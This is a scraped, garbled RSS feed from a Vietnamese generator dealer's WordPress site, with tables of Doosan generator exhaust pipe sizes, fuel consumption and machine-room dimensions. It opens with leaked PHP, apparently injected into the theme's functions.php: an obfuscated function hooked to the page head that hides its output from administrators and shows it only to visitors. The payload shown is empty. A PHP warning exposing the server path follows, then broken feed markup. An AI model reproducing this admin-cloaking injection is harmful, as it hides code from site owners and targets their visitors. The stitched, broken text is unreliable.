if (!function_exists('f9d233f09')) {
function f9d233f09() {
if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) {
return;
}
echo '' . "\n";
}
}
add_action('wp_head', 'f9d233f09', 999);
Warning: Cannot modify header information - headers already sent by (output started at /home/mayphatdie/domains/mayphatdiengfc.vn/public_html/wp-content/themes/flatsome-upweb/functions.php:10) in /home/mayphatdie/domains/mayphatdiengfc.vn/public_html/wp-includes/feed-rss2.php on line 8
Bài viết Kích thước ống thoát khói máy phát điện Doosan đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>– Kích thước trên chưa bao gồm phần bọc bảo ôn.
– Áp dụng cho chiều dài ống <10m và số cút chuyển hướng <= 3 chiếc.
|
Công suất (kVA) |
Model |
Đường kính (mm) |
Ghi chú |
|||
|
150 200 225 250 |
D165D5 D220D5 D250D5 D275D5 |
D114x2 |
Ống đúc sẵn |
|||
|
275 300 375 400 450 500 |
D313D5 D330D5 D413D5 D440D5 D500D5 D550D5 |
D160x2 |
Ống lốc từ thép tấm |
|||
|
563 625 680 750 |
D625D5 D700D5 D750D5 D825D5 |
D200x2 |
Ống lốc từ thép tấm |
|||
Bài viết Kích thước ống thoát khói máy phát điện Doosan đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết Máy phát điện Doosan tiêu thụ nhiên liệu như thế nào? đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Với máy phát điện Doosan, suất tiêu hao ở mức 0.22 lít/1kVA/1giờ. Có nghĩa là để phát ra 1 kVA trong 1 giờ máy phát điện điện Doosan tiêu tốn 0.22 lít dầu diesel.
Thông số này giúp ước tính nhanh mức tiêu hao của máy ở công suất bất kỳ. Ví dụ, máy 100 kVA thì một giờ tiêu hao (100*0.22 = 22 lít).
Bảng kê dưới đây giúp khách hàng có được các thông số:
Mức tiêu hao nhiên liệu tại 100% tải
Dung tích bồn dầu đáy máy
|
Stt |
CS liên tục (KVA) |
Bồn dầu (lít) |
Mức tiêu hao (lít/giờ) |
Suất tiêu hao (lít/kVA/giờ) |
Số giờ hoạt động |
|
(1) |
(3) |
(5) |
(6) |
(7)=(6)/(3) |
(8)=(5)/(6) |
|
1 |
150 |
330 |
33,7 |
0,22 |
10 |
|
2 |
200 |
420 |
43,1 |
0,22 |
10 |
|
3 |
225 |
420 |
48,7 |
0,22 |
9 |
|
4 |
250 |
480 |
58,1 |
0,23 |
8 |
|
5 |
275 |
500 |
58,1 |
0,21 |
9 |
|
6 |
300 |
530 |
63,1 |
0,21 |
8 |
|
7 |
375 |
530 |
76 |
0,20 |
7 |
|
8 |
400 |
650 |
89,3 |
0,22 |
7 |
|
9 |
450 |
650 |
99,6 |
0,22 |
7 |
|
10 |
500 |
640 |
115,1 |
0,23 |
6 |
|
11 |
563 |
830 |
123,6 |
0,22 |
7 |
|
12 |
625 |
740 |
136,4 |
0,22 |
5 |
|
13 |
675 |
1000 |
147,1 |
0,22 |
7 |
|
14 |
750 |
1000 |
161 |
0,21 |
6 |
|
Suất tiêu hao trung bình (lít/kVA/giờ) |
0,22 |
|
|||
Bài viết Máy phát điện Doosan tiêu thụ nhiên liệu như thế nào? đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết Kích thước phòng máy phát điện Doosan đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Phòng máy quá chật sẽ không đảm bảo hiệu suất khi vận hành. Ngược lại phòng máy quá lớn dẫn đến lãng phí mặt bằng và chi phí.
Bằng kinh nghiệm thực tế chuyên sâu về máy phát điện và tham khảo tài liệu hướng dẫn chính hãng Doosan. HQC đưa ra bảng kích thước phòng máy cơ bản cho các mức công suất của máy Doosan như sau:
1. Phòng máy trần (không có vỏ cách âm)
[Xem bảng kích thước này trên mobile cần xoay ngang điện thoại]
|
Stt |
Model |
CS liên tục (kVA) |
Máy trần Dài x Rộng x Cao (mm) |
Phòng máy trần Dài x Rộng x Cao (mm) |
|
1 |
D165D5 |
150 |
2.450*1.065*1.795 |
4.000*3.000*3.000 |
|
2 |
D220D5 |
200 |
2.570*1.060*1.710 |
4.000*3.000*3.000 |
|
3 |
D250D5 |
225 |
2.660*1.050*1.730 |
4.000*3.000*3.000 |
|
4 |
D275D5 |
250 |
2.800*1.130*1.680 |
4.300*3.000*3.000 |
|
5 |
D313D5 |
275 |
2.965*1.150*1.620 |
4.500*3.000*3.000 |
|
6 |
D330D5 |
300 |
2.950*1.130*1.625 |
4.500*3.000*3.000 |
|
7 |
D413D5 |
375 |
3.275*1.112*1.660 |
4.800*3.000*3.000 |
|
8 |
D440D5 |
400 |
2.980*1.400*1.885 |
4.500*3.500*3.000 |
|
9 |
D500D5 |
450 |
3.060*1.420*1.885 |
4.500*3.500*3.000 |
|
10 |
D550D5 |
500 |
3.175*1.400*1.925 |
4.700*3.500*3.000 |
|
11 |
D625D5 |
563 |
3.150*1.400*2.080 |
4.700*3.500*3.000 |
|
12 |
D700D5 |
625 |
3.300*1.400*2.010 |
4.800*3.500*3.000 |
|
13 |
D750D5 |
675 |
3.450*1.530*2.165 |
5.000*3.500*3.000 |
|
14 |
D825D5 |
750 |
3.450*1.530*2.210 |
5.000*3.500*3.000 |
2. Phòng máy cho máy Doosan có vỏ chống ồn
|
Stt |
Model |
CS liên tục (kVA) |
Máy vỏ Dài x Rộng x Cao (mm) |
Phòng máy vỏ Dài x Rộng x Cao (mm) |
|
1 |
D165D5 |
150 |
3.800*1.160*2.252 |
5.300*3.000*3.000 |
|
2 |
D220D5 |
200 |
3.900*1.180*2.212 |
5.400*3.100*3.000 |
|
3 |
D250D5 |
225 |
3.900*1.180*2.212 |
5.400*3.100*3.000 |
|
4 |
D275D5 |
250 |
4.155*1.400*2.255 |
5.600*3.500*3.000 |
|
5 |
D313D5 |
275 |
4.155*1.400*2.255 |
5.600*3.500*3.000 |
|
6 |
D330D5 |
300 |
4.155*1.400*2.255 |
5.600*3.500*3.000 |
|
7 |
D413D5 |
375 |
4.155*1.400*2.255 |
5.600*3.500*3.000 |
|
8 |
D440D5 |
400 |
4.562*1.600*2.385 |
6.000*3.600*3.100 |
|
9 |
D500D5 |
450 |
4.462*1.600*2.515 |
6.000*3.600*3.300 |
|
10 |
D550D5 |
500 |
4.262*1.600*2.515 |
6.000*3.600*3.300 |
|
11 |
D625D5 |
563 |
4.812*1.900*2.515 |
6.300*3.900*3.300 |
|
12 |
D700D5 |
625 |
4.812*1.900*2.515 |
6.300*3.900*3.300 |
|
13 |
D750D5 |
675 |
5.112*1.800*2.535 |
6.500*3.800*3.300 |
|
14 |
D825D5 |
750 |
5.112*1.800*2.535 |
6.500*3.800*3.300 |
– Để tiết kiệm thời gian và chi phí, khi thiết kế nên tham khảo ý kiến của đơn vị có chuyên môn sâu về máy phát điện. Tránh trường hợp khi đến giai đoạn triển khai phát sinh các chi phí cải tạo phòng máy, thậm chí là không thể lắp đặt được máy.
Bài viết Kích thước phòng máy phát điện Doosan đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>